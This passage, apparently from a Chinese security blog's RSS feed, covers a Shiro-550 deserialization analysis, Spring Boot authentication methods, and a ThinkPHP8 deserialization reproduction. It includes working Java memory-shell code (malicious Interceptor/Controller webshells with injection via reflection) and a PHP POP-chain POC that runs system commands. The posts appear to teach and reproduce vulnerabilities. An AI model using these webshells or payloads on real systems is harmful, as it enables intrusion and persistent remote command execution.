    this.setCipherKey(DEFAULT_CIPHER_KEY_BYTES);  // 默认密钥: kPH+bIxk5D2deZiIxcaaaA==
}</code></pre>
<ul>
 <li>
  <p style="">​<strong>硬编码 AES 密钥</strong>：<code>kPH+bIxk5D2deZiIxcaaaA==</code>（Base64 解码后作为密钥）。</p>
 </li>
 <li>
  <p style="">​<strong>漏洞根源</strong>：密钥固定，攻击者可伪造恶意 Cookie。</p>
 </li>
</ul>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1743659061693.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">发现这个文件中引用了getRememberedSerializedIdentity，查看代码</p>
<pre><code class="language-java">if (bytes != null &amp;&amp; bytes.length &gt; 0) {
    principals = this.convertBytesToPrincipals(bytes, subjectContext);
}</code></pre>
<p style=""><strong>​</strong>判定生效的话会进入convertBytesToPrincipals方法，bytes就是传入的加密字符串。</p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1743659342687.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">在这个方法中引用decrypt解密操作，进入decrypt方法。</p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1743659394000.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">看到相关解密代码，解密AES代码，解密后将字节数组反序列化为 Java 对象。</p>
<p style=""><strong>解密 + 反序列化（</strong><code>convertBytesToPrincipals</code><strong>）​</strong></p>
<pre><code class="language-java">protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
    bytes = this.decrypt(bytes);  // AES 解密
    return this.deserialize(bytes);  // 反序列化
}</code></pre>
<ul>
 <li>
  <p style="">​<code>decrypt()</code>：用相同密钥解密数据。</p>
 </li>
 <li>
  <p style="">​<code>deserialize()</code>：将字节数组反序列化为 Java 对象（关键漏洞点！）。</p>
 </li>
</ul>
<h3 style="" id="%E6%80%BB%E7%BB%93"><strong>总结</strong></h3>
<p style="">SHIRO-550 反序列化漏洞：shiro默认使用了CookieRememberMeManager，</p>
<p style="">其处理cookie的流程是：得到rememberMe的cookie值--&gt;Base64解码--&gt;AES解</p>
<p style="">密--&gt;反序列化。AES的密钥是硬编码在代码里，就导致了反序列化的RCE漏洞。</p>
<p style="">SHIRO-721反序列化漏洞：不需要key，利用PaddingOracle Attack构造出</p>
<p style="">RememberMe字段后段的值结合合法的RememberMe cookie即可完成攻击。</p>
<p style=""><strong>不出网</strong></p>
<ul>
 <li>
  <p style="">定位Web目录写入文件</p>
 </li>
 <li>
  <p style="">构造回显</p>
 </li>
 <li>
  <p style="">内存马</p>
 </li>
 <li>
  <p style="">时间延迟获取Web路径写入webshell</p>
 </li>
</ul>
<p style=""><strong>有key无链</strong></p>
<ul>
 <li>
  <p style="">JRMP协议探测漏洞（需有可用key 可用JRMPClient 可绕过WAF)</p>
 </li>
 <li>
  <p style="">springboot actuator 泄露jar包查看是否存在利用链</p>
 </li>
</ul>
<h1 style="" id="springboot-%E9%A1%B9%E7%9B%AE%E9%89%B4%E6%9D%83%E7%9A%84-4-%E7%A7%8D%E6%96%B9%E5%BC%8F%E4%B8%8E%E5%86%85%E5%AD%98%E9%A9%AC%E6%8A%80%E6%9C%AF">SpringBoot 项目鉴权的 4 种方式与内存马技术</h1>
<h3 style="" id="%E5%89%8D%E8%A8%80">前言</h3>
<p style="">在 Spring Boot 应用中，我们有多种方式可以实现用户认证和鉴权。本文将详细介绍四种常用的鉴权实现方式：传统 AOP、拦截器 (Interceptor)、参数解析器 (ArgumentResolver) 和过滤器 (Filter)，并结合内存马技术进行分析，特别是 Interceptor 内存马和 Controller 内存马。</p>
<p style=""><strong>传统 AOP</strong></p>
<p style="">实现：AOP (面向切面编程) 允许我们在方法执行前后添加自定义逻辑，非常适合实现权限校验。</p>
<pre><code class="language-java">// 1. 创建权限注解
@Target({ElementType.METHOD, ElementType.TYPE})
@Retention(RetentionPolicy.RUNTIME)
public @interface RequiresAuth {
    String value() default "";
    String[] roles() default {};
    boolean requireLogin() default true;
}

// 2. 实现 AOP 切面
@Aspect
@Component
public class AuthAspect {
    
    @Autowired
    private TokenService tokenService;
    
    @Autowired
    private UserService userService;
    
    @Before("@annotation(requiresAuth)")
    public void checkAuth(JoinPoint joinPoint, RequiresAuth requiresAuth) {
        // 获取请求上下文
        ServletRequestAttributes attributes = (ServletRequestAttributes) RequestContextHolder.getRequestAttributes();
        HttpServletRequest request = attributes.getRequest();
        
        // 获取 token
        String token = request.getHeader("Authorization");
        if (requiresAuth.requireLogin()) {
            if (token == null || token.isEmpty()) {
                throw new UnauthorizedException("未提供认证信息");
            }
            
            // 验证 token
            UserInfo userInfo = tokenService.validateToken(token);
            if (userInfo == null) {
                throw new UnauthorizedException("认证信息无效");
            }
            
            // 检查角色权限
            String[] requiredRoles = requiresAuth.roles();
            if (requiredRoles.length &gt; 0) {
                boolean hasRole = false;
                for (String role : requiredRoles) {
                    if (userService.hasRole(userInfo.getId(), role)) {
                        hasRole = true;
                        break;
                    }
                }
                if (!hasRole) {
                    throw new ForbiddenException("权限不足");
                }
            }
            
            // 将用户信息存入请求属性
            request.setAttribute("userInfo", userInfo);
        }
    }
}

// 3. 使用注解
@RestController
@RequestMapping("/api")
public class UserController {
    
    @GetMapping("/public")
    public String publicEndpoint() {
        return "这是公开接口";
    }
    
    @RequiresAuth
    @GetMapping("/user")
    public String userEndpoint() {
        return "这是需要认证的接口";
    }
    
    @RequiresAuth(roles = {"ADMIN"})
    @GetMapping("/admin")
    public String adminEndpoint() {
        return "这是需要管理员权限的接口";
    }
    
    @RequiresAuth(roles = {"USER", "EDITOR"}, value = "hasAnyRole('USER', 'EDITOR')")
    @GetMapping("/content")
    public String contentEndpoint() {
        return "这是需要用户或编辑权限的接口";
    }
}

// 4. 异常处理
@RestControllerAdvice
public class GlobalExceptionHandler {
    
    @ExceptionHandler(UnauthorizedException.class)
    @ResponseStatus(HttpStatus.UNAUTHORIZED)
    public ResponseEntity&lt;String&gt; handleUnauthorized(UnauthorizedException ex) {
        return ResponseEntity.status(HttpStatus.UNAUTHORIZED).body(ex.getMessage());
    }
    
    @ExceptionHandler(ForbiddenException.class)
    @ResponseStatus(HttpStatus.FORBIDDEN)
    public ResponseEntity&lt;String&gt; handleForbidden(ForbiddenException ex) {
        return ResponseEntity.status(HttpStatus.FORBIDDEN).body(ex.getMessage());
    }
}</code></pre>
<p style=""><strong><em>扩展</em></strong></p>
<p style="">AOP 方式的扩展性很强，可以：</p>
<ul>
 <li>
  <p style="">支持更复杂的权限表达式</p>
 </li>
</ul>
<ul>
 <li>
  <p style="">结合 SpEL 表达式实现动态权限判断</p>
 </li>
</ul>
<ul>
 <li>
  <p style="">自定义异常处理</p>
 </li>
</ul>
<ul>
 <li>
  <p style="">记录详细的权限审计日志</p>
 </li>
</ul>
<pre><code class="language-java">// 扩展 AOP 支持 SpEL 表达式
@Component
public class SecurityExpressionEvaluator {
    
    @Autowired
    private UserService userService;
    
    public boolean hasRole(String role) {
        UserInfo userInfo = getCurrentUser();
        return userInfo != null &amp;&amp; userService.hasRole(userInfo.getId(), role);
    }
    
    public boolean hasAnyRole(String... roles) {
        UserInfo userInfo = getCurrentUser();
        if (userInfo == null) return false;
        
        for (String role : roles) {
            if (userService.hasRole(userInfo.getId(), role)) {
                return true;
            }
        }
        return false;
    }
    
    private UserInfo getCurrentUser() {
        ServletRequestAttributes attributes = (ServletRequestAttributes) RequestContextHolder.getRequestAttributes();
        HttpServletRequest request = attributes.getRequest();
        return (UserInfo) request.getAttribute("userInfo");
    }
}

@Aspect
@Component
public class EnhancedAuthAspect {
    
    @Autowired
    private SecurityExpressionEvaluator expressionEvaluator;
    
    @Autowired
    private SpelExpressionParser parser;
    
    @Before("@annotation(requiresAuth)")
    public void checkAuth(JoinPoint joinPoint, RequiresAuth requiresAuth) {
        // 基本验证逻辑...
        
        // 评估 SpEL 表达式
        String expression = requiresAuth.value();
        if (expression != null &amp;&amp; !expression.isEmpty()) {
            Expression spelExpression = parser.parseExpression(expression);
            StandardEvaluationContext context = new StandardEvaluationContext(expressionEvaluator);
            
            Boolean result = spelExpression.getValue(context, Boolean.class);
            if (result == null || !result) {
                throw new ForbiddenException("权限表达式验证失败");
            }
        }
    }
}</code></pre>
<p style=""><strong>Interceptor (拦截器)</strong></p>
<p style="">实现：拦截器工作在 Controller 方法调用前后，可以拦截请求并进行权限验证。</p>
<pre><code class="language-java">// 1. 创建拦截器
@Component
public class AuthInterceptor implements HandlerInterceptor {
    
    @Autowired
    private TokenService tokenService;
    
    @Autowired
    private UserService userService;
    
    @Override
    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
        // 如果不是处理方法，则跳过
        if (!(handler instanceof HandlerMethod)) {
            return true;
        }
        
        HandlerMethod handlerMethod = (HandlerMethod) handler;
        Method method = handlerMethod.getMethod();
        
        // 检查是否需要权限验证
        RequiresAuth requiresAuth = method.getAnnotation(RequiresAuth.class);
        if (requiresAuth == null) {
            // 也可以检查类级别的注解
            requiresAuth = handlerMethod.getBeanType().getAnnotation(RequiresAuth.class);
            if (requiresAuth == null) {
                return true; // 不需要验证
            }
        }
        
        // 获取 token
        String token = request.getHeader("Authorization");
        if (token == null || token.isEmpty()) {
            response.setStatus(HttpServletResponse.SC_UNAUTHORIZED);
            response.setContentType("application/json;charset=UTF-8");
            response.getWriter().write("{\"message\":\"未提供认证信息\"}");
            return false;
        }
        
        // 验证 token
        UserInfo userInfo = tokenService.validateToken(token);
        if (userInfo == null) {
            response.setStatus(HttpServletResponse.SC_UNAUTHORIZED);
            response.setContentType("application/json;charset=UTF-8");
            response.getWriter().write("{\"message\":\"认证信息无效\"}");
            return false;
        }
        
        // 检查角色权限
        String[] requiredRoles = requiresAuth.roles();
        if (requiredRoles.length &gt; 0) {
            boolean hasRole = false;
            for (String role : requiredRoles) {
                if (userService.hasRole(userInfo.getId(), role)) {
                    hasRole = true;
                    break;
                }
            }
            if (!hasRole) {
                response.setStatus(HttpServletResponse.SC_FORBIDDEN);
                response.setContentType("application/json;charset=UTF-8");
                response.getWriter().write("{\"message\":\"权限不足\"}");
                return false;
            }
        }
        
        // 将用户信息存入请求属性
        request.setAttribute("userInfo", userInfo);
        return true;
    }
    
    @Override
    public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
        // 请求处理后的逻辑，可以用于日志记录等
        if (handler instanceof HandlerMethod) {
            HandlerMethod handlerMethod = (HandlerMethod) handler;
            log.info("请求处理完成: {}.{}", 
                     handlerMethod.getBeanType().getSimpleName(), 
                     handlerMethod.getMethod().getName());
        }
    }
    
    @Override
    public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
        // 请求完成后的逻辑，可以用于清理资源等
        if (ex != null) {
            log.error("请求处理异常", ex);
        }
    }
}

// 2. 注册拦截器
@Configuration
public class WebConfig implements WebMvcConfigurer {
    
    @Autowired
    private AuthInterceptor authInterceptor;
    
    @Override
    public void addInterceptors(InterceptorRegistry registry) {
        registry.addInterceptor(authInterceptor)
                .addPathPatterns("/api/**")
                .excludePathPatterns("/api/public/**", "/login", "/error");
    }
}</code></pre>
<p style=""><strong>Interceptor 内存马</strong></p>
<p style="">Interceptor 内存马是一种利用 Spring MVC 拦截器机制实现的内存型 WebShell，它通过动态注册恶意拦截器来实现持久化控制。</p>
<pre><code class="language-java">// 恶意拦截器示例
public class MaliciousInterceptor implements HandlerInterceptor {
    @Override
    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
        String cmd = request.getParameter("cmd");
        if (cmd != null) {
            // 执行命令
            Process process = Runtime.getRuntime().exec(cmd);
            InputStream is = process.getInputStream();
            byte[] bytes = new byte[1024];
            int len;
            while ((len = is.read(bytes)) != -1) {
                response.getOutputStream().write(bytes, 0, len);
            }
            is.close();
            response.getOutputStream().flush();
            response.getOutputStream().close();
            return false; // 终止请求处理
        }
        return true;
    }
}

// 注入内存马的代码
public void injectInterceptorMemshell() {
    try {
        WebApplicationContext context = (WebApplicationContext) RequestContextHolder
            .currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
        
        // 获取 RequestMappingHandlerMapping
        RequestMappingHandlerMapping mapping = context.getBean(RequestMappingHandlerMapping.class);
        
        // 获取 interceptors 字段
        Field interceptorsField = ReflectionUtils.findField(mapping.getClass(), "adaptedInterceptors");
        ReflectionUtils.makeAccessible(interceptorsField);
        
        // 获取当前拦截器列表
        List&lt;HandlerInterceptor&gt; interceptors = (List&lt;HandlerInterceptor&gt;) ReflectionUtils.getField(interceptorsField, mapping);
        
        // 检查是否已存在恶意拦截器
        for (HandlerInterceptor interceptor : interceptors) {
            if (interceptor instanceof MaliciousInterceptor) {
                return; // 已存在，不重复注入
            }
        }
        
        // 添加恶意拦截器
        interceptors.add(new MaliciousInterceptor());
        System.out.println("Interceptor 内存马注入成功");
    } catch (Exception e) {
        e.printStackTrace();
    }
}</code></pre>
<p style=""><strong>ArgumentResolver (参数解析器)</strong></p>
<p style="">实现：参数解析器可以将请求中的认证信息直接注入到控制器方法参数中，使用起来非常方便。</p>
<pre><code class="language-java">// 1. 创建用户信息注解
@Target(ElementType.PARAMETER)
@Retention(RetentionPolicy.RUNTIME)
public @interface CurrentUser {
    boolean required() default true;
}

// 2. 创建用户信息类
@Data
@AllArgsConstructor
@NoArgsConstructor
public class UserInfo implements Serializable {
    private Long id;
    private String username;
    private String email;
    private List&lt;String&gt; roles;
    private Date lastLoginTime;
    private Map&lt;String, Object&gt; attributes;
    
    public boolean hasRole(String role) {
        return roles != null &amp;&amp; roles.contains(role);
    }
}

// 3. 创建参数解析器
@Component
public class CurrentUserArgumentResolver implements HandlerMethodArgumentResolver {
    
    @Autowired
    private TokenService tokenService;
    
    @Override
    public boolean supportsParameter(MethodParameter parameter) {
        return parameter.hasParameterAnnotation(CurrentUser.class) &amp;&amp; 
               parameter.getParameterType().equals(UserInfo.class);
    }
    
    @Override
    public Object resolveArgument(MethodParameter parameter, 
                                 ModelAndViewContainer mavContainer, 
                                 NativeWebRequest webRequest, 
                                 WebDataBinderFactory binderFactory) throws Exception {
        HttpServletRequest request = webRequest.getNativeRequest(HttpServletRequest.class);
        
        // 先从请求属性中查找用户信息（可能由拦截器设置）
        UserInfo userInfo = (UserInfo) request.getAttribute("userInfo");
        if (userInfo != null) {
            return userInfo;
        }
        
        // 从请求中获取 token
        String token = request.getHeader("Authorization");
        if (token == null || token.isEmpty()) {
            CurrentUser annotation = parameter.getParameterAnnotation(CurrentUser.class);
            if (annotation != null &amp;&amp; annotation.required()) {
                throw new UnauthorizedException("未提供认证信息");
            }
            return null;
        }
        
        // 验证 token 并获取用户信息
        userInfo = tokenService.validateToken(token);
        if (userInfo == null) {
            CurrentUser annotation = parameter.getParameterAnnotation(CurrentUser.class);
            if (annotation != null &amp;&amp; annotation.required()) {
                throw new UnauthorizedException("认证信息无效");
            }
            return null;
        }
        
        // 将用户信息存入请求属性，避免重复验证
        request.setAttribute("userInfo", userInfo);
        return userInfo;
    }
}

// 4. 注册参数解析器
@Configuration
public class WebConfig implements WebMvcConfigurer {
    
    @Autowired
    private CurrentUserArgumentResolver currentUserArgumentResolver;
    
    @Override
    public void addArgumentResolvers(List&lt;HandlerMethodArgumentResolver&gt; resolvers) {
        resolvers.add(currentUserArgumentResolver);
    }
}

// 5. 在控制器中使用
@RestController
@RequestMapping("/api")
public class UserController {
    
    @GetMapping("/profile")
    public ResponseEntity&lt;UserInfo&gt; getProfile(@CurrentUser UserInfo userInfo) {
        return ResponseEntity.ok(userInfo);
    }
    
    @GetMapping("/optional-auth")
    public ResponseEntity&lt;String&gt; optionalAuth(@CurrentUser(required = false) UserInfo userInfo) {
        if (userInfo != null) {
            return ResponseEntity.ok("已认证用户: " + userInfo.getUsername());
        } else {
            return ResponseEntity.ok("匿名用户");
        }
    }
    
    @RequiresAuth(roles = {"ADMIN"})
    @GetMapping("/admin/users")
    public ResponseEntity&lt;List&lt;UserInfo&gt;&gt; getAllUsers(@CurrentUser UserInfo admin) {
        // 业务逻辑
        return ResponseEntity.ok(userService.getAllUsers());
    }
}</code></pre>
<p style=""><strong>Filter (过滤器)</strong></p>
<p style="">实现：过滤器是 Servlet 规范的一部分，在请求到达 DispatcherServlet 之前执行，可以用于全局认证。</p>
<pre><code class="language-java">// 1. 创建认证过滤器
@Component
public class AuthFilter implements Filter {
    
    @Autowired
    private TokenService tokenService;
    
    @Autowired
    private ObjectMapper objectMapper;
    
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
        // 初始化逻辑
        log.info("AuthFilter 初始化");
    }
    
    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
            throws IOException, ServletException {
        HttpServletRequest httpRequest = (HttpServletRequest) request;
        HttpServletResponse httpResponse = (HttpServletResponse) response;
        
        // 检查是否是公开路径
        String path = httpRequest.getRequestURI();
        if (isPublicPath(path)) {
            chain.doFilter(request, response);
            return;
        }
        
        // 获取 token
        String token = httpRequest.getHeader("Authorization");
        if (token == null || token.isEmpty()) {
            sendUnauthorizedResponse(httpResponse, "未提供认证信息");
            return;
        }
        
        // 验证 token
        UserInfo userInfo = tokenService.validateToken(token);
        if (userInfo == null) {
            sendUnauthorizedResponse(httpResponse, "认证信息无效");
            return;
        }
        
        // 将用户信息存入请求属性
        httpRequest.setAttribute("userInfo", userInfo);
        
        // 继续过滤器链
        chain.doFilter(request, response);
    }
    
    @Override
    public void destroy() {
        // 销毁逻辑
        log.info("AuthFilter 销毁");
    }
    
    private boolean isPublicPath(String path) {
        return path.startsWith("/api/public") || 
               path.equals("/login") || 
               path.equals("/register") ||
               path.equals("/error") ||
               path.endsWith(".css") ||
               path.endsWith(".js") ||
               path.endsWith(".ico");
    }
    
    private void sendUnauthorizedResponse(HttpServletResponse response, String message) throws IOException {
        response.setStatus(HttpServletResponse.SC_UNAUTHORIZED);
        response.setContentType("application/json;charset=UTF-8");
        
        Map&lt;String, Object&gt; result = new HashMap&lt;&gt;();
        result.put("status", 401);
        result.put("message", message);
        result.put("timestamp", new Date());
        
        response.getWriter().write(objectMapper.writeValueAsString(result));
    }
}

// 2. 注册过滤器
@Configuration
public class FilterConfig {
    
    @Bean
    public FilterRegistrationBean&lt;AuthFilter&gt; authFilter(AuthFilter authFilter) {
        FilterRegistrationBean&lt;AuthFilter&gt; registrationBean = new FilterRegistrationBean&lt;&gt;();
        registrationBean.setFilter(authFilter);
        registrationBean.addUrlPatterns("/*");
        registrationBean.setOrder(Ordered.HIGHEST_PRECEDENCE + 10);
        registrationBean.setName("authFilter");
        return registrationBean;
    }
}</code></pre>
<p style=""><strong>Controller 内存马</strong></p>
<p style="">Controller 内存马是通过动态注册 Controller 实现的内存型 WebShell，它利用 Spring MVC 的请求映射机制。</p>
<pre><code class="language-java">// 恶意 Controller 类
public class MaliciousController {
    @RequestMapping("/shell")
    public void shell(HttpServletRequest request, HttpServletResponse response) throws Exception {
        String cmd = request.getParameter("cmd");
        if (cmd != null) {
            Process process = Runtime.getRuntime().exec(cmd);
            InputStream is = process.getInputStream();
            byte[] bytes = new byte[1024];
            int len;
            while ((len = is.read(bytes)) != -1) {
                response.getOutputStream().write(bytes, 0, len);
            }
            is.close();
            response.getOutputStream().flush();
        }
    }
}

// 注入 Controller 内存马的代码
public void injectControllerMemshell() throws Exception {
    try {
        WebApplicationContext context = (WebApplicationContext) RequestContextHolder
            .currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
        
        // 获取 RequestMappingHandlerMapping
        RequestMappingHandlerMapping mapping = context.getBean(RequestMappingHandlerMapping.class);
        
        // 检查是否已经注册了恶意 Controller
        Field handlerMethodsField = mapping.getClass().getDeclaredField("handlerMethods");
        handlerMethodsField.setAccessible(true);
        Map&lt;RequestMappingInfo, HandlerMethod&gt; handlerMethods = (Map&lt;RequestMappingInfo, HandlerMethod&gt;) handlerMethodsField.get(mapping);
        
        for (RequestMappingInfo info : handlerMethods.keySet()) {
            if (info.getPatternsCondition().getPatterns().contains("/shell")) {
                return; // 已存在，不重复注入
            }
        }
        
        // 创建恶意 Controller 实例
        MaliciousController controller = new MaliciousController();
        
        // 获取 Controller 中的方法
        Method method = controller.getClass().getMethod("shell", HttpServletRequest.class, HttpServletResponse.class);
        
        // 创建 RequestMappingInfo
        RequestMappingInfo mappingInfo = RequestMappingInfo
            .paths("/shell")
            .methods(RequestMethod.GET)
            .build();
        
        // 注册 Controller
        mapping.registerMapping(mappingInfo, controller, method);
        System.out.println("Controller 内存马注入成功");
    } catch (Exception e) {
        e.printStackTrace();
    }
}</code></pre>
<h3 style="" id="%E5%B0%8F%E7%BB%93">小结</h3>
<p style="">这四种鉴权方式在 Spring Boot 中的执行顺序为：</p>
<p style="">1. <strong>Filter</strong> (过滤器) - 最先执行，在请求到达 DispatcherServlet 之前</p>
<p style="">2. <strong>Interceptor</strong> (拦截器) - 在 Controller 方法调用前执行</p>
<p style="">3. <strong>ArgumentResolver</strong> (参数解析器) - 在方法参数绑定时执行</p>
<p style="">4. <strong>AOP</strong> (切面) - 在方法执行前后执行</p>
<p style="">内存马技术主要利用了 Spring 框架的动态性和反射机制：</p>
<p style="">- <strong>Interceptor 内存马</strong>：利用拦截器注册机制，可以拦截所有请求</p>
<p style="">- <strong>Controller 内存马</strong>：利用请求映射注册机制，创建隐蔽的控制入口</p>
<p style="">在实际应用中，应当结合多种鉴权方式构建深度防御体系，同时加强对框架动态特性的安全管控，防止内存马的注入和利用。</p>]]></description><guid isPermaLink="false">/archives/019b8d68-fe57-776c-890b-fada4ad9fefb</guid><dc:creator>GowNinng</dc:creator><enclosure url="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2Fjavaanquan.jpg&amp;size=m" type="image/jpeg" length="92359"/><category>网络安全</category><pubDate>Sun, 6 Oct 2024 03:12:00 GMT</pubDate></item><item><title><![CDATA[ThinkPHP8反序列化漏洞复现]]></title><link>http://gowninng.cn/archives/019b8d69-6a84-76f3-b56b-d52705f87ad6</link><description><![CDATA[<img src="http://gowninng.cn/plugins/feed/assets/telemetry.gif?title=ThinkPHP8%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0&amp;url=/archives/019b8d69-6a84-76f3-b56b-d52705f87ad6" width="1" height="1" alt="" style="opacity:0;">
<h4 style="" id="%E5%89%8D%E8%A8%80">前言</h4>
<p style="">偶然间，我阅读了<a href="https://xz.aliyun.com/t/14933?time__1311=mqmxyD0iDt0Qi%3DYDsTiQISDiq0KU2BOO2iD" target="_blank">《从xctf决赛 ezthink挖掘tp8的反序列化链 - 先知社区》</a>这篇文章，对漏洞从反序列化到命令执行的全过程有了更深入的了解。由于我对这个框架较为熟悉，并且有过PHP开发的经验，还曾挖掘出过该框架的命令执行漏洞，因此决定尝试复现这一过程。</p>
<figure style="align-items: start; display: flex; flex-direction: column" data-content-type="image">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1719826824382.png&amp;size=m" width="100%" height="100%">
</figure>
<figure style="align-items: start; display: flex; flex-direction: column" data-content-type="image">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1719826862335.png&amp;size=m" width="100%" height="100%">
</figure>
<h4 style="" id="%E4%BD%BF%E7%94%A8%E5%B7%A5%E5%85%B7">使用工具</h4>
<p style="">一般来说是phpstorm+phpstudy+xdebug，我直接用命令行起一个服务，注意PHP版本必须为8及以上。</p>
<pre><code class="language-bash">php think run -p 9669</code></pre>
<figure style="align-items: start; display: flex; flex-direction: column" data-content-type="image">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F73e9124a7d581ec0f37e7d8a735dc6b.png&amp;size=m" width="100%" height="100%">
</figure>
<h4 style="" id="%E5%AE%89%E8%A3%85">安装</h4>
<pre><code class="language-bash">composer create-project topthink/think tp</code></pre>
<h4 style="" id="%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0">漏洞复现</h4>
<p style="">构造利用链</p>
<pre><code>public function index()
    {
        $c = unserialize(base64_decode($_GET['whoami']));   // 参数可控的unserialize函数
        var_dump($c);
        return 'Welcome to ThinkPHP!';
    }</code></pre>
<figure style="align-items: start; display: flex; flex-direction: column" data-content-type="image">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2Fa9f8c8a77acd8e21fef8d04f6928d11.png&amp;size=m" width="100%" height="100%">
</figure>
<p style="">POC</p>
<pre><code class="language-php">&lt;?php
namespace think\model\concern;

trait Attribute{
    private $data=['p2'=&gt;['p2'=&gt;'whoami']];
    private $withAttr=['p2'=&gt;['p2'=&gt;'system']];
    protected $json=["p2"];
    protected $jsonAssoc = true;
}


namespace think;

abstract class Model{
    use model\concern\Attribute;
    private $exists;
    private $force;
    private $lazySave;
    protected $suffix;


    function __construct($obj = '')
    {
        $this-&gt;lazySave = true;
        $this-&gt;withEvent = false;
        $this-&gt;exists = true;
        $this-&gt;force = true;
        $this-&gt;table = $obj;
        $this-&gt;jsonAssoc = true;
    }
}

namespace think\model;

use think\Model;
class Pivot extends Model{}

namespace think\route;

class Resource {
    public function __construct()
    {
        $this-&gt;rule = "1.1";
        $this-&gt;option = ["var" =&gt; ["1" =&gt; new \think\model\Pivot()]];
    }
}


class ResourceRegister
{
    protected $resource;
    public function __construct()
    {
        $this-&gt;resource = new Resource();
    }
    public function __destruct()
    {
        $this-&gt;register();
    }
    protected function register()
    {
        $this-&gt;resource-&gt;parseGroupRule($this-&gt;resource-&gt;getRule());
    }
}

$obj = new ResourceRegister();
echo base64_encode(serialize($obj));</code></pre>
<p style="">运行生成base64的序列化payload，配合利用链代码传入。</p>
<figure style="align-items: start; display: flex; flex-direction: column" data-content-type="image">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2Fbd7133d0fadafdb34ff782dd2e55016.png&amp;size=m" width="100%" height="100%">
</figure>
<p style="">然后的话，这里我们一般全局搜索去找魔术方法，根据那篇文章就找destruct魔术方法。</p>
<p style="">题外话，用反序列化举个例子：</p>
<pre><code class="language-php">&lt;?php
    highlight_file(__FILE__);
    error_reporting(0);
    class test{
        public $a = 'echo "this is test!!";';
        public function displayVar() {
            eval($this-&gt;a);
        }
    }

    $get = $_GET["benben"];
    $b = unserialize($get);
    $b-&gt;displayVar() ;

?&gt;

//&lt;?php
//    class test{
//        public $a = "system('ls');";
//    }
//    echo serialize(new test());
//?&gt;
&lt;!----&gt;
&lt;!--O:4:"test":1:{s:1:"a";s:13:"system('ls');";}--&gt;
&lt;!----&gt;


&lt;!--pop链构造常规思路：从链尾开始追，直到找到可以利用的入口点--&gt;
&lt;!--入口常用方法：__wakeup, __construct, __destruct, __toString--&gt;
&lt;!--链中常用方法：__toString, __get/set, __invoke, __call--&gt;
&lt;!--链尾方法：调用php敏感函数的方法，如file_get_contents, highlightfile, system, exec, eval, assert等--&gt;</code></pre>
<p style="">全局搜索destruct，找到ResourceRegister.php 中的destruct方法。</p>
<figure style="align-items: start; display: flex; flex-direction: column" data-content-type="image">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2Fimage.png&amp;size=m" width="100%" height="100%">
</figure>
<p style="">点击destruct方法中的register方法，进入此方法。</p>
<figure style="align-items: start; display: flex; flex-direction: column" data-content-type="image">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1e3977de48fc8122dbf492205676507.png&amp;size=m" width="100%" height="100%">
</figure>
<p style="">再点击进入parseGroupRule方法，继续往下走。</p>
<figure style="align-items: start; display: flex; flex-direction: column" data-content-type="image">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1fd99868984a2a24906aa4c94eb2a47.png&amp;size=m" width="100%" height="100%">
</figure>
<figure style="align-items: start; display: flex; flex-direction: column" data-content-type="image">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2Fabed55d8c9facf5d91e811038e1ed13.png&amp;size=m" width="100%" height="100%">
</figure>
<p style="">根据前文提到，首先通过rule中的.来分割成数组，然后把数组的最后一位弹出
 <br>
 $item[] = $val . '/&lt;' . ($option['var'][$val] ?? $val . '_id') . '&gt;';在这个语句 可以调用<strong>tostring魔术方法</strong>，看看传参 option是我们可以控制的，我们可以传$this-&gt;option= ["var" =&gt; ["1" =&gt; new 要调用的类()]];再配合传参$rule=1.1，将.后面的1弹出来，作为var的键，访问到这个类。接下来就步入进去。</p>
<figure style="align-items: start; display: flex; flex-direction: column" data-content-type="image">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2Fb5ceb54979528fdf67ab4023c16b4e3.png&amp;size=m" width="100%" height="100%">
</figure>
<p style="">步入到这里，就会引用tostring，点击步入。</p>
<figure style="align-items: start; display: flex; flex-direction: column" data-content-type="image">
